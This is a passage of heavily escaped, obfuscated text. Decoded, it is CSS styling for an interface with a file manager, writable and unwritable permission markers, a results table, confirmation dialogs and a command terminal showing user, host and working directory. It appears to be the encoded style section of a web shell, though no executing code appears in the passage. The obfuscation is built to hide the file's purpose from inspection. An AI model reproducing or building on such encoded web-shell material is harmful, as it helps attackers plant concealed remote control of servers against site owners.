62\x6f\x72\x64\145\162\x2d\143\157\x6c\x6f\x72\51\x3b\xa\11\x9\11\142\157\162\144\145\162\55\x72\141\144\x69\165\163\x3a\40\70\x70\x78\x3b\12\11\x9\11\142\x61\x63\x6b\147\x72\x6f\165\156\144\x3a\x20\166\141\162\50\x2d\x2d\142\x67\x2d\144\x61\x72\153\51\73\xa\x9\11\11\x63\157\154\157\162\x3a\x20\166\141\x72\50\55\55\x74\145\x78\x74\x2d\x6c\151\x67\150\164\51\73\xa\x9\11\11\x66\x6f\x6e\x74\x2d\x73\151\x7a\145\x3a\40\x31\162\145\x6d\x3b\12\11\x9\x9\x66\x6f\x6e\x74\55\x66\141\x6d\x69\x6c\171\x3a\40\x76\x61\x72\x28\x2d\55\146\x6f\156\x74\55\146\141\155\x69\x6c\171\51\73\12\11\11\x9\164\x72\141\x6e\163\151\x74\151\x6f\x6e\72\40\141\154\154\40\60\56\63\163\x20\145\141\x73\x65\73\12\x9\x9\x9\155\x61\162\x67\x69\156\55\142\x6f\x74\x74\x6f\x6d\x3a\x20\60\x2e\x35\x72\x65\155\73\xa\x9\x9\x9\142\x6f\170\55\163\x69\x7a\151\156\x67\x3a\40\x62\157\162\144\x65\x72\x2d\142\x6f\x78\x3b\xa\11\11\175\xa\x9\11\xa\11\x9\56\x69\x6e\x70\x75\x74\55\146\151\145\154\x64\x3a\146\x6f\143\165\163\x20\x7b\12\11\11\11\x6f\165\x74\154\x69\156\145\72\x20\x6e\x6f\156\145\x3b\12\11\x9\x9\x62\x6f\x72\x64\x65\162\x2d\143\x6f\154\157\x72\x3a\40\x76\x61\162\x28\x2d\55\x61\x63\x63\x65\x6e\164\x2d\x62\x6c\165\x65\51\x3b\12\11\11\11\x62\157\170\x2d\163\150\141\144\157\x77\72\40\60\x20\x30\x20\x30\x20\63\160\170\40\162\x67\142\x61\x28\61\63\x30\54\40\x31\x37\60\54\40\62\65\65\54\40\60\x2e\x32\51\x3b\xa\11\x9\11\164\162\x61\156\x73\x66\x6f\162\x6d\72\40\164\x72\141\x6e\163\154\x61\x74\x65\x59\x28\55\x32\x70\170\x29\x3b\12\11\x9\175\12\x9\x9\12\x9\11\x2e\x69\156\x70\165\164\x2d\x65\162\162\x6f\162\x20\x7b\12\x9\x9\x9\x63\157\154\157\x72\x3a\x20\166\x61\162\x28\55\55\x61\x63\143\145\156\x74\x2d\x72\145\144\x29\73\xa\11\11\11\146\157\156\164\x2d\163\151\172\x65\x3a\40\x30\x2e\x39\x72\145\x6d\x3b\12\x9\11\11\155\151\x6e\55\x68\x65\x69\147\150\x74\x3a\x20\61\56\x35\x72\145\155\73\xa\11\11\11\x6d\141\x72\147\151\156\55\x62\x6f\x74\164\157\x6d\72\40\x31\x72\145\x6d\73\xa\x9\x9\11\x6f\x70\141\x63\151\164\x79\72\x20\x30\73\12\x9\11\x9\x74\x72\141\156\x73\x69\164\151\x6f\x6e\72\40\157\x70\x61\x63\151\x74\171\x20\x30\x2e\x33\163\40\x65\141\163\145\x3b\12\x9\11\x7d\12\11\x9\12\11\x9\x2e\151\156\160\x75\164\55\145\162\x72\x6f\x72\56\x73\x68\x6f\167\40\173\xa\11\x9\x9\x6f\160\141\143\151\x74\x79\x3a\40\61\73\xa\x9\11\175\xa\x9\11\12\x9\11\56\x69\x6e\x70\x75\164\55\155\x6f\x64\x61\x6c\55\x61\x63\x74\151\x6f\x6e\163\40\x7b\xa\x9\x9\11\x64\151\x73\x70\154\x61\171\x3a\40\x66\154\x65\170\73\12\x9\x9\x9\x67\x61\160\72\40\x31\x72\x65\x6d\73\12\11\x9\x9\152\165\163\x74\151\x66\x79\x2d\143\157\156\164\x65\156\164\72\40\x63\145\x6e\x74\x65\162\73\12\11\11\x9\x6d\141\x72\147\151\x6e\x2d\x74\x6f\x70\72\40\61\56\x35\162\145\x6d\73\xa\x9\11\175\12\x9\11\12\11\x9\56\151\156\160\x75\164\55\142\164\x6e\55\x63\x61\x6e\x63\x65\x6c\x2c\xa\x9\11\56\151\x6e\160\x75\164\x2d\142\x74\156\x2d\157\x6b\40\x7b\xa\x9\11\x9\x70\141\144\x64\151\x6e\147\72\x20\60\x2e\70\x35\162\x65\x6d\x20\62\x72\x65\155\x3b\12\11\11\x9\x62\x6f\x72\144\x65\162\72\40\x6e\x6f\x6e\145\73\12\x9\11\11\142\157\162\x64\x65\x72\x2d\x72\141\x64\x69\x75\x73\x3a\x20\70\160\x78\73\12\11\11\11\x66\x6f\156\x74\x2d\x73\x69\x7a\x65\x3a\x20\x31\162\145\x6d\x3b\12\x9\x9\11\x66\157\x6e\x74\x2d\x77\145\x69\x67\150\164\x3a\x20\66\60\x30\73\12\11\11\x9\x63\165\x72\163\x6f\162\x3a\x20\x70\x6f\151\x6e\x74\x65\x72\73\12\11\11\x9\164\162\x61\x6e\163\151\164\x69\x6f\x6e\72\40\x61\x6c\x6c\40\x30\x2e\63\163\x20\x63\x75\x62\151\143\55\142\145\x7a\x69\145\162\x28\60\x2e\x34\54\x20\x30\x2c\x20\x30\x2e\62\x2c\40\x31\51\73\xa\11\11\11\x66\x6f\156\164\x2d\x66\x61\x6d\151\x6c\171\x3a\40\166\141\x72\50\x2d\55\x66\x6f\156\164\55\146\x61\155\151\x6c\171\x29\73\xa\11\11\x9\x6d\x69\x6e\55\167\x69\x64\x74\150\72\40\x31\x32\60\160\x78\x3b\12\11\x9\11\x70\x6f\x73\151\164\151\x6f\x6e\72\40\162\145\x6c\x61\164\x69\x76\145\x3b\xa\11\x9\x9\157\166\145\162\x66\x6c\157\167\x3a\40\x68\151\144\144\145\x6e\73\xa\x9\x9\x7d\12\11\11\12\x9\11\x2e\x69\156\160\165\x74\x2d\x62\x74\x6e\x2d\143\141\x6e\x63\x65\154\40\173\12\11\x9\11\142\x61\x63\x6b\x67\x72\157\165\156\144\x3a\40\x6c\151\x6e\x65\141\x72\55\147\162\x61\x64\151\x65\x6e\x74\x28\x31\x33\x35\x64\145\x67\x2c\x20\x76\141\x72\50\x2d\x2d\142\x67\55\154\x69\147\x68\x74\51\40\60\x25\x2c\40\x76\141\162\50\x2d\x2d\x62\147\55\155\145\144\51\x20\x31\60\60\45\x29\73\xa\x9\11\11\143\x6f\x6c\x6f\x72\x3a\x20\x76\x61\x72\50\55\x2d\164\145\170\164\55\x6c\x69\x67\x68\x74\x29\x3b\xa\11\x9\11\x62\157\x72\144\145\162\72\40\x32\x70\170\40\163\x6f\154\x69\x64\40\x76\141\x72\50\x2d\x2d\142\157\162\144\145\162\x2d\143\x6f\154\x6f\x72\x29\x3b\12\11\11\11\x62\x6f\x78\x2d\x73\150\141\144\x6f\x77\x3a\x20\x30\x20\64\160\x78\x20\61\65\160\170\x20\x72\147\x62\x61\50\60\x2c\40\60\54\x20\x30\x2c\x20\60\56\62\51\73\xa\11\x9\175\xa\x9\11\xa\11\x9\56\151\x6e\x70\165\164\55\142\164\156\x2d\x63\141\156\143\x65\154\x3a\x68\157\166\145\x72\40\173\xa\11\x9\x9\x62\x61\143\153\147\162\x6f\x75\156\x64\x3a\x20\166\x61\162\x28\x2d\55\x62\x67\x2d\x64\141\x72\x6b\x29\73\12\x9\x9\x9\x62\157\x72\144\145\x72\55\143\157\154\x6f\162\72\x20\x76\141\x72\50\55\55\164\145\170\x74\x2d\x6d\x65\144\51\73\12\x9\11\x9\164\162\x61\156\x73\146\x6f\x72\155\72\40\164\x72\141\x6e\163\x6c\x61\164\145\131\50\55\62\x70\170\x29\73\xa\11\x9\11\x62\x6f\170\55\x73\x68\x61\144\x6f\x77\x3a\40\60\40\x36\160\170\40\x32\x30\x70\x78\40\162\x67\x62\x61\x28\60\x2c\40\60\54\x20\60\54\x20\x30\x2e\x33\x29\73\xa\11\11\x7d\12\x9\x9\12\x9\x9\56\151\x6e\160\x75\x74\55\142\x74\156\x2d\143\x61\156\x63\145\x6c\x3a\141\x63\164\151\166\145\x20\x7b\xa\x9\x9\11\164\162\x61\156\x73\x66\157\162\155\72\40\x74\162\141\156\163\154\141\x74\145\x59\50\60\51\73\12\11\x9\x7d\xa\x9\11\xa\11\11\56\x69\156\160\165\x74\55\x62\x74\x6e\55\157\x6b\x20\x7b\xa\x9\11\x9\x62\x61\x63\153\x67\162\x6f\x75\x6e\144\72\40\154\x69\156\145\141\x72\x2d\147\162\x61\x64\x69\145\x6e\x74\x28\x31\x33\x35\144\x65\x67\54\40\166\141\162\x28\55\55\141\x63\143\145\156\164\x2d\x62\154\x75\145\51\x20\x30\45\x2c\x20\x23\71\144\x63\61\146\x66\x20\x31\60\x30\45\51\73\xa\11\11\11\x63\x6f\154\157\x72\x3a\x20\166\x61\x72\50\55\55\142\147\55\x64\141\162\153\x29\73\12\11\11\11\x62\x6f\x78\x2d\x73\150\141\x64\157\167\x3a\40\60\x20\64\x70\x78\x20\x31\x35\160\x78\40\x72\147\142\141\50\x31\x33\60\54\40\x31\x37\x30\54\x20\62\x35\65\x2c\x20\60\56\64\x29\x3b\12\x9\x9\x7d\xa\11\11\xa\11\11\x2e\151\156\x70\x75\x74\55\x62\164\156\x2d\157\153\x3a\x68\157\166\145\162\x20\x7b\12\11\11\x9\164\162\x61\x6e\163\146\157\x72\155\72\x20\164\162\x61\x6e\163\154\x61\164\145\131\50\55\62\x70\170\x29\x3b\12\11\11\11\x62\x6f\x78\x2d\x73\x68\x61\144\157\x77\x3a\40\60\40\x36\160\170\x20\62\60\x70\x78\x20\x72\x67\x62\x61\50\x31\63\x30\54\x20\61\x37\x30\54\40\x32\65\x35\54\40\60\56\x36\x29\73\12\11\x9\x7d\12\11\11\xa\11\11\x2e\151\x6e\160\165\x74\x2d\142\x74\x6e\55\157\153\x3a\x61\143\164\x69\x76\x65\x20\x7b\xa\11\x9\x9\164\x72\x61\x6e\x73\146\157\162\155\x3a\40\x74\x72\x61\156\163\154\141\x74\x65\131\x28\60\x29\x3b\xa\x9\x9\175\12\x9\11\12\x9\11\56\x69\156\x70\x75\164\55\x62\164\x6e\x2d\157\x6b\x3a\144\x69\x73\x61\142\154\x65\144\40\x7b\xa\11\11\x9\157\160\141\143\x69\164\x79\72\x20\x30\56\66\73\12\x9\11\x9\143\x75\x72\x73\157\162\x3a\x20\x6e\157\x74\55\141\x6c\x6c\x6f\x77\145\x64\73\xa\x9\11\11\x74\162\x61\x6e\163\146\x6f\162\155\x3a\40\x6e\157\156\x65\x3b\xa\11\11\175\xa\11\11\xa\x9\11\56\x69\x72\x72\x65\166\145\x72\x73\x69\x62\154\x65\55\142\x74\156\x2d\x63\x61\156\x63\x65\154\x20\173\12\11\x9\11\x62\x61\143\x6b\x67\x72\157\165\156\x64\x3a\x20\154\151\156\145\141\162\x2d\147\162\141\144\x69\145\156\164\x28\61\63\x35\144\x65\147\x2c\x20\x76\141\162\50\x2d\x2d\142\x67\x2d\x6c\x69\x67\x68\x74\x29\40\60\45\x2c\40\x76\x61\162\50\55\x2d\142\x67\55\x6d\145\144\x29\x20\x31\60\60\45\51\73\12\x9\11\11\x63\x6f\154\157\162\72\40\x76\x61\162\50\55\55\164\145\170\x74\x2d\x6c\151\147\x68\x74\x29\x3b\xa\11\11\x9\142\157\x72\x64\145\x72\72\40\62\x70\x78\x20\x73\157\154\x69\144\40\166\141\162\x28\55\x2d\142\157\x72\144\145\x72\x2d\143\157\154\x6f\162\x29\x3b\12\11\11\x9\x62\157\x78\55\163\150\141\144\157\x77\x3a\40\x30\40\x34\x70\170\40\x31\x35\x70\170\40\x72\x67\x62\141\50\60\54\x20\x30\x2c\40\60\54\40\60\56\x33\x29\x3b\xa\x9\x9\x7d\xa\x9\11\xa\x9\11\56\151\162\162\x65\166\145\x72\163\151\142\x6c\x65\55\x62\x74\x6e\55\143\x61\156\x63\145\x6c\x3a\150\157\166\145\162\40\x7b\xa\x9\x9\11\x62\141\x63\x6b\x67\162\157\165\156\x64\72\40\154\x69\156\x65\141\162\x2d\x67\x72\141\x64\x69\x65\x6e\x74\50\61\63\x35\144\x65\147\x2c\x20\x76\141\162\50\x2d\55\x62\x67\55\x6d\x65\144\x29\x20\60\45\x2c\x20\166\x61\162\x28\55\55\142\x67\55\154\x69\x67\150\x74\51\40\x31\60\60\x25\x29\73\12\x9\x9\11\x74\x72\x61\156\x73\x66\157\162\155\72\40\164\x72\x61\156\163\154\x61\164\145\131\x28\x2d\x33\160\170\51\73\xa\11\x9\x9\142\x6f\170\x2d\163\x68\x61\x64\x6f\x77\x3a\x20\60\x20\66\160\170\x20\62\60\x70\x78\x20\x72\147\x62\141\50\x30\54\x20\x30\x2c\x20\60\54\40\60\x2e\64\51\73\12\11\11\175\12\11\11\xa\x9\11\x2e\x69\x72\x72\x65\x76\145\162\x73\x69\142\154\x65\55\x62\x74\156\x2d\x63\157\156\x66\151\162\x6d\x20\173\xa\x9\11\11\142\x61\x63\153\147\162\x6f\165\156\x64\x3a\x20\154\x69\156\145\141\162\x2d\147\x72\x61\x64\151\x65\x6e\164\x28\x31\x33\x35\x64\x65\x67\54\x20\x23\x64\x63\63\65\x34\x35\40\x30\45\54\x20\x23\143\x38\x32\63\63\63\40\65\60\x25\x2c\40\x23\x62\144\62\x31\x33\x30\x20\61\x30\60\45\51\73\xa\x9\11\11\143\x6f\x6c\x6f\162\x3a\40\x23\x66\x66\146\x66\146\x66\73\xa\11\11\x9\142\x6f\162\144\145\x72\x3a\x20\x32\160\x78\x20\x73\x6f\154\151\x64\40\162\x67\x62\x61\50\62\x35\x35\54\40\x32\65\x35\54\40\x32\65\x35\54\x20\x30\x2e\63\x29\x3b\xa\x9\11\x9\142\157\x78\55\x73\150\141\x64\x6f\167\72\40\60\40\x34\x70\170\x20\62\x30\x70\170\40\162\x67\x62\141\50\x32\x32\60\x2c\40\65\x33\x2c\x20\66\x39\54\40\x30\x2e\66\x29\x2c\xa\x9\x9\x9\11\x9\11\60\x20\x30\40\63\x30\x70\x78\40\x72\147\142\x61\50\x32\x32\60\x2c\x20\65\63\54\40\66\71\54\40\60\x2e\x34\51\x2c\xa\11\x9\x9\11\11\x9\x69\x6e\163\x65\x74\40\x30\x20\61\x70\170\40\60\40\x72\x67\142\x61\x28\62\65\65\x2c\x20\62\x35\65\x2c\x20\62\65\65\54\40\60\56\62\51\73\xa\x9\x9\x9\x61\156\x69\x6d\141\x74\x69\157\156\x3a\x20\x63\x6f\156\x66\x69\x72\155\120\165\154\x73\145\x20\62\163\40\145\141\x73\x65\x2d\x69\x6e\55\157\165\164\x20\151\156\146\x69\156\151\164\x65\73\xa\x9\x9\x7d\12\11\x9\12\11\x9\x40\153\x65\x79\146\162\141\155\145\163\x20\x63\x6f\156\146\x69\162\155\120\x75\154\163\x65\x20\173\xa\11\11\x9\60\45\x2c\40\61\60\60\x25\x20\x7b\xa\x9\11\11\x9\x62\157\170\x2d\x73\150\x61\144\x6f\167\72\x20\60\x20\64\160\170\40\x32\60\160\170\x20\x72\147\x62\x61\x28\x32\62\x30\x2c\40\x35\63\x2c\40\66\x39\54\40\x30\56\66\x29\54\12\11\x9\11\x9\11\x9\11\60\40\60\40\63\60\160\170\40\162\147\x62\x61\x28\x32\62\60\x2c\x20\65\x33\x2c\x20\x36\71\54\x20\x30\56\64\x29\x2c\xa\11\11\x9\x9\x9\x9\11\x69\156\163\x65\164\40\60\40\61\160\x78\40\x30\x20\x72\147\x62\x61\50\x32\65\65\54\x20\62\x35\65\54\40\x32\x35\65\x2c\40\x30\x2e\x32\51\x3b\12\x9\x9\x9\x7d\xa\x9\11\11\65\x30\x25\40\x7b\xa\11\11\x9\11\142\157\x78\55\x73\x68\x61\x64\x6f\x77\72\40\x30\x20\64\x70\170\x20\x33\60\x70\x78\x20\162\147\x62\141\50\x32\x32\x30\54\40\65\63\54\40\x36\x39\x2c\40\60\56\70\51\54\xa\x9\11\x9\x9\11\11\x9\60\x20\60\x20\65\x30\160\170\40\x72\147\142\x61\x28\x32\x32\x30\x2c\x20\x35\x33\54\40\66\x39\54\x20\x30\56\x36\51\x2c\12\11\x9\x9\11\x9\11\x9\151\x6e\x73\x65\164\40\x30\40\61\160\x78\x20\60\x20\x72\x67\x62\141\x28\x32\65\x35\x2c\40\62\x35\x35\x2c\40\x32\x35\65\x2c\x20\60\56\x33\51\73\xa\11\x9\x9\175\xa\11\11\175\xa\11\x9\12\11\x9\56\x69\x72\x72\145\x76\145\162\163\151\142\x6c\145\55\x62\x74\x6e\x2d\x63\x6f\156\x66\x69\162\155\x3a\72\x62\x65\146\x6f\x72\x65\40\x7b\12\x9\11\x9\x63\x6f\156\x74\x65\x6e\164\x3a\x20\x27\47\x3b\12\11\11\x9\x70\157\163\151\x74\151\x6f\x6e\x3a\x20\x61\x62\163\x6f\154\165\x74\x65\x3b\xa\x9\x9\11\x74\157\160\72\40\60\73\xa\11\11\11\x6c\x65\x66\164\72\40\55\61\x30\60\x25\73\xa\x9\11\x9\167\151\144\x74\150\72\40\x31\60\60\x25\x3b\xa\11\x9\11\150\x65\151\147\x68\164\72\x20\61\x30\x30\x25\x3b\12\11\11\x9\142\141\x63\153\x67\162\157\x75\156\144\x3a\40\154\x69\x6e\x65\x61\x72\55\147\162\x61\144\151\x65\156\164\x28\71\x30\x64\145\147\54\x20\x74\162\x61\x6e\x73\160\141\x72\x65\156\x74\54\40\162\x67\x62\x61\x28\62\x35\x35\54\x20\62\x35\65\x2c\x20\x32\65\65\x2c\40\x30\x2e\x33\51\x2c\40\x74\162\x61\x6e\x73\160\141\x72\145\156\x74\51\73\xa\11\11\x9\x74\x72\x61\156\x73\x69\x74\151\157\x6e\72\40\154\145\146\x74\40\x30\56\x35\x73\73\xa\11\11\175\xa\11\11\xa\x9\11\56\x69\162\162\145\x76\145\162\x73\151\x62\154\145\x2d\142\x74\x6e\55\143\157\156\146\151\162\x6d\x3a\150\x6f\166\x65\x72\x3a\x3a\x62\x65\146\157\x72\x65\x20\173\12\x9\11\x9\154\x65\146\x74\72\x20\61\x30\x30\45\73\xa\x9\11\175\12\11\x9\xa\11\11\56\x69\162\x72\x65\x76\x65\162\163\151\x62\154\x65\x2d\142\164\x6e\x2d\143\157\x6e\x66\151\162\155\x3a\x68\157\x76\145\x72\40\173\12\x9\x9\11\142\141\143\153\x67\x72\157\x75\x6e\x64\72\x20\154\151\x6e\x65\x61\x72\55\x67\x72\141\x64\151\x65\x6e\x74\50\61\x33\65\x64\x65\147\54\x20\43\x65\x36\x33\71\64\66\x20\60\45\x2c\40\x23\x64\x36\62\70\x33\x39\40\x35\x30\x25\x2c\40\43\x63\70\62\x33\x33\63\40\x31\60\60\45\x29\73\xa\x9\11\x9\x74\x72\x61\156\163\146\x6f\162\x6d\x3a\40\x74\x72\x61\x6e\x73\154\141\x74\145\131\x28\x2d\63\x70\170\51\40\x73\x63\x61\x6c\145\50\61\x2e\60\x35\x29\x3b\12\x9\11\x9\x62\157\x78\x2d\x73\150\141\144\157\x77\x3a\x20\x30\40\x36\x70\170\x20\x33\60\x70\170\40\x72\x67\x62\x61\x28\x32\x32\x30\x2c\x20\65\x33\x2c\40\66\x39\x2c\x20\x30\x2e\x38\51\54\xa\x9\11\11\11\x9\11\60\x20\60\40\66\x30\x70\170\x20\x72\x67\142\x61\50\62\x32\x30\x2c\x20\65\63\x2c\x20\x36\71\54\x20\x30\x2e\x36\51\54\12\11\x9\11\x9\11\11\151\x6e\163\x65\x74\40\x30\x20\61\x70\170\40\60\40\x72\147\x62\x61\50\x32\x35\65\x2c\40\62\x35\65\54\x20\x32\65\x35\x2c\40\60\x2e\63\x29\x3b\xa\x9\11\175\xa\11\11\12\11\11\56\151\162\x72\145\x76\x65\162\x73\x69\x62\154\145\x2d\x62\164\x6e\55\x63\x6f\x6e\146\151\x72\x6d\72\x61\x63\164\151\166\145\x20\x7b\xa\11\11\11\x74\162\141\156\x73\x66\x6f\x72\155\x3a\40\x74\162\141\156\x73\154\141\164\145\131\50\55\61\x70\x78\x29\x20\x73\143\141\x6c\x65\50\61\x2e\60\x32\x29\x3b\12\x9\11\11\142\157\x78\x2d\163\x68\141\x64\x6f\x77\x3a\40\x30\40\62\160\x78\x20\x31\x35\160\170\40\162\147\142\x61\50\62\62\x30\x2c\x20\x35\x33\x2c\x20\x36\71\54\40\x30\x2e\66\51\54\xa\11\11\x9\11\x9\11\x69\156\x73\x65\164\40\60\x20\62\160\x78\x20\64\x70\x78\40\x72\147\x62\x61\50\60\54\x20\x30\54\x20\60\x2c\40\60\56\x33\x29\x3b\12\11\11\x7d\12\11\11\12\11\x9\56\x69\x72\x72\x65\166\145\162\163\x69\x62\x6c\x65\x2d\x62\164\x6e\55\x63\157\156\146\151\x72\x6d\72\146\x6f\x63\165\x73\40\x7b\xa\x9\11\x9\157\x75\164\154\151\x6e\145\72\x20\x6e\x6f\156\145\x3b\xa\11\x9\11\142\x6f\x78\55\163\x68\141\144\157\167\72\x20\x30\x20\x34\x70\170\x20\62\x30\160\170\x20\162\x67\142\141\x28\62\x32\x30\x2c\x20\65\x33\54\x20\x36\x39\x2c\40\60\56\x36\51\x2c\xa\11\11\x9\x9\11\x9\60\x20\60\x20\63\60\x70\170\x20\162\147\142\141\50\x32\x32\x30\54\40\65\63\54\40\x36\71\x2c\40\x30\56\x34\x29\54\xa\x9\11\11\11\x9\x9\60\x20\x30\x20\60\x20\x34\x70\170\40\x72\147\x62\141\50\x32\x32\60\x2c\x20\65\63\54\40\66\71\x2c\x20\60\56\x34\51\73\xa\11\x9\x7d\12\x9\11\xa\40\x9\x9\56\146\x69\x6c\145\x2d\x6d\x61\156\x61\x67\x65\162\55\143\x6f\x6e\x74\x72\x6f\154\x73\x20\173\40\144\151\163\x70\x6c\x61\171\72\40\146\154\145\170\x3b\40\x6a\x75\163\x74\x69\x66\x79\x2d\143\157\156\164\145\x6e\x74\72\40\x73\x70\x61\x63\145\55\142\145\164\167\145\x65\156\x3b\x20\141\154\x69\x67\x6e\x2d\x69\x74\x65\x6d\163\x3a\x20\x63\145\x6e\164\x65\162\x3b\x20\x7d\xa\x20\x9\x9\43\143\x77\x64\40\173\x20\x66\x6c\145\170\x2d\147\162\157\167\72\x20\61\x3b\x20\x6d\x61\162\x67\x69\x6e\55\162\x69\147\x68\164\x3a\40\x31\x72\145\x6d\73\x20\x7d\12\x20\x9\x9\56\x72\x65\x73\x75\154\x74\x73\55\164\x61\x62\x6c\145\x20\173\x20\167\151\x64\x74\150\x3a\x20\x31\60\x30\x25\x3b\40\142\x6f\162\144\145\x72\55\x63\x6f\154\154\141\160\x73\x65\x3a\x20\143\x6f\154\154\141\160\163\x65\x3b\40\155\x61\x72\147\151\156\x2d\x74\x6f\x70\x3a\40\x31\x72\x65\x6d\73\40\175\xa\x20\11\11\56\162\x65\163\165\x6c\x74\163\55\164\x61\142\x6c\x65\40\x74\x68\54\x20\x2e\x72\145\x73\165\154\x74\x73\x2d\164\x61\142\154\145\40\x74\144\x20\173\40\x70\141\144\144\151\156\x67\x3a\x20\61\x32\x70\170\x20\61\x35\x70\x78\73\40\164\x65\x78\164\x2d\x61\x6c\x69\147\156\72\x20\154\145\x66\x74\73\x20\142\157\x72\144\145\x72\x2d\x62\x6f\x74\164\x6f\155\x3a\40\61\x70\170\40\163\157\154\x69\144\40\x76\141\162\x28\x2d\55\x62\157\162\x64\145\x72\55\143\157\154\x6f\x72\51\73\x20\x77\150\151\x74\x65\55\x73\x70\x61\143\145\x3a\x20\156\157\167\162\141\x70\73\x20\175\xa\x20\x9\11\56\x72\145\x73\165\x6c\x74\163\x2d\x74\141\142\154\145\x20\164\x68\40\173\40\x62\x61\x63\x6b\147\162\x6f\165\156\x64\x3a\40\166\x61\x72\50\x2d\55\142\147\x2d\154\x69\x67\x68\164\51\x3b\40\x66\x6f\x6e\x74\55\x77\145\151\147\150\x74\72\x20\x35\x30\x30\73\40\175\12\40\11\x9\x2e\146\x69\x6c\145\x2d\155\x61\x6e\x61\x67\145\162\40\x74\162\x3a\150\157\166\x65\x72\x20\x7b\40\x62\141\x63\153\147\162\x6f\x75\x6e\x64\x3a\x20\166\x61\162\50\55\x2d\x62\x67\55\x6c\151\147\150\164\x29\x3b\x20\175\12\x20\11\11\x2e\x72\x65\163\165\154\164\x73\x2d\164\x61\x62\154\x65\x20\x74\x64\40\x7b\x20\x77\150\151\164\x65\55\163\x70\x61\143\x65\x3a\x20\x70\162\145\x2d\167\x72\x61\160\x3b\x20\167\157\x72\144\x2d\x62\x72\x65\141\x6b\72\40\x62\162\145\x61\x6b\x2d\x61\154\x6c\73\40\175\12\40\x9\x9\56\146\x69\x6c\x65\x2d\155\x61\x6e\141\147\145\162\40\x2e\x66\x6e\x61\x6d\x65\x20\173\40\143\x75\162\x73\x6f\x72\72\40\160\x6f\x69\x6e\164\145\162\73\x20\164\x72\141\156\163\x69\x74\x69\x6f\x6e\72\40\143\157\x6c\x6f\x72\40\60\56\62\163\x3b\40\175\12\40\11\x9\56\x66\x69\x6c\x65\55\155\141\x6e\x61\x67\145\x72\40\56\x66\x6e\x61\155\145\x3a\x68\157\166\x65\162\40\173\40\x66\x69\154\164\x65\x72\x3a\40\142\162\x69\147\x68\164\x6e\145\163\163\50\61\x2e\62\x29\x3b\x20\x7d\12\40\x9\x9\56\x66\151\154\x65\x2d\x6d\141\156\x61\147\145\162\40\x2e\141\x63\164\151\157\156\x73\x20\x61\x20\173\40\x63\165\x72\x73\157\162\72\40\x70\x6f\x69\156\x74\145\162\x3b\x20\155\141\162\147\151\x6e\x3a\x20\x30\40\x38\x70\x78\73\x20\146\157\156\x74\x2d\x73\151\x7a\x65\72\40\61\56\x31\162\145\x6d\73\x20\164\145\x78\x74\x2d\x64\145\x63\157\x72\x61\164\x69\x6f\x6e\x3a\40\156\157\x6e\x65\73\40\144\151\x73\160\154\141\x79\72\40\151\156\154\151\x6e\145\x2d\142\154\157\x63\153\73\x20\164\162\141\156\163\x69\164\151\157\x6e\x3a\40\x74\x72\x61\x6e\x73\x66\157\162\155\x20\60\x2e\62\163\x3b\40\175\12\40\x9\x9\x2e\x66\151\154\145\x2d\155\x61\156\x61\147\145\x72\x20\56\141\143\x74\x69\157\x6e\163\x20\x61\72\x68\157\166\145\162\x20\173\40\x74\162\141\x6e\x73\146\x6f\x72\155\x3a\x20\163\143\141\154\x65\50\61\56\62\x29\x3b\40\x7d\xa\x20\11\11\x2e\146\156\x61\155\x65\55\x64\x69\x72\55\x77\162\x69\164\141\142\154\145\40\x7b\40\x63\x6f\x6c\x6f\162\72\40\166\x61\x72\50\x2d\x2d\141\143\x63\x65\156\164\x2d\147\x72\x65\x65\156\51\x3b\x20\175\x20\x2e\x66\156\141\x6d\x65\55\144\151\162\x2d\165\156\x77\x72\x69\x74\x61\x62\x6c\145\x20\x7b\x20\143\x6f\x6c\157\162\72\40\x76\141\x72\x28\x2d\55\141\143\x63\145\156\x74\x2d\162\145\144\x29\x3b\40\175\x20\56\x66\x6e\x61\155\x65\55\x66\151\154\x65\x2d\167\162\x69\164\141\x62\154\x65\40\x7b\x20\143\x6f\x6c\157\x72\72\40\166\141\x72\x28\x2d\x2d\164\145\170\164\x2d\154\151\x67\150\x74\x29\73\x20\x7d\x20\x2e\146\x6e\x61\155\x65\55\x66\151\154\145\x2d\x75\x6e\167\x72\151\x74\141\142\x6c\x65\40\x7b\x20\x63\x6f\x6c\157\162\72\40\166\141\x72\50\55\55\164\145\170\x74\x2d\155\x65\144\x29\x3b\x20\x7d\xa\x20\x9\11\x2e\x66\151\154\145\x2d\155\x61\156\141\x67\145\x72\x20\x2e\160\145\162\x6d\163\x2d\x63\x6f\154\40\173\x20\146\157\156\x74\55\x66\141\x6d\x69\154\x79\72\x20\x6d\x6f\156\x6f\163\160\x61\143\145\x3b\40\x63\x6f\154\x6f\162\72\x20\166\141\162\x28\x2d\55\x74\145\170\x74\55\x6d\x65\144\51\x3b\x20\175\12\x20\x9\x9\56\x74\145\x72\155\151\x6e\141\x6c\40\173\x20\x62\x61\x63\153\x67\x72\x6f\165\x6e\144\72\40\x23\x30\x64\x31\61\x31\x37\73\x20\x70\x61\x64\144\151\x6e\x67\x3a\x20\61\x72\x65\x6d\73\40\146\x6c\145\170\x3a\40\x31\x3b\40\157\166\145\x72\x66\154\157\x77\55\171\x3a\40\x61\165\164\157\x3b\x20\167\150\151\x74\145\55\x73\160\x61\143\x65\72\40\x70\x72\x65\55\x77\162\x61\160\73\40\167\x6f\x72\144\55\167\162\x61\x70\72\40\142\162\145\x61\153\55\167\x6f\162\144\73\40\x6c\151\x6e\x65\x2d\x68\145\x69\x67\150\164\x3a\40\x31\x2e\66\x3b\x20\x7d\xa\40\x9\11\43\x74\x65\x72\x6d\55\x6f\165\x74\160\x75\x74\40\173\x20\x63\157\x6c\x6f\x72\72\x20\166\141\x72\x28\x2d\x2d\x74\x65\170\164\55\x6c\x69\x67\150\164\51\73\40\175\xa\x20\11\11\x2e\164\145\162\x6d\55\x70\162\157\x6d\160\x74\40\173\40\144\151\x73\160\154\x61\171\x3a\40\146\x6c\145\170\73\40\x61\154\x69\147\x6e\x2d\x69\x74\x65\x6d\x73\x3a\40\x63\145\156\164\x65\x72\73\40\175\xa\40\11\x9\43\x74\145\x72\x6d\x2d\x75\163\145\162\x2d\150\x6f\163\164\40\x7b\40\143\x6f\x6c\x6f\162\x3a\40\x76\x61\x72\50\x2d\x2d\x61\143\143\x65\x6e\x74\55\147\162\x65\145\156\x29\x3b\x20\x7d\12\x20\11\x9\43\164\145\162\x6d\x2d\143\167\x64\x20\173\40\x63\x6f\154\x6f\162\72\40\166\x61\x72\x28\55\x2d\141\x63\x63\x65\156\164\x2d\142\154\165\x65\x29\x3b\40\155\x61\x72\147\151\x6e\x2d\x6c\x65\x66\164\x3a\40\65\160\x78\73\175\12\40\11\x9\56\x74\145\162\155\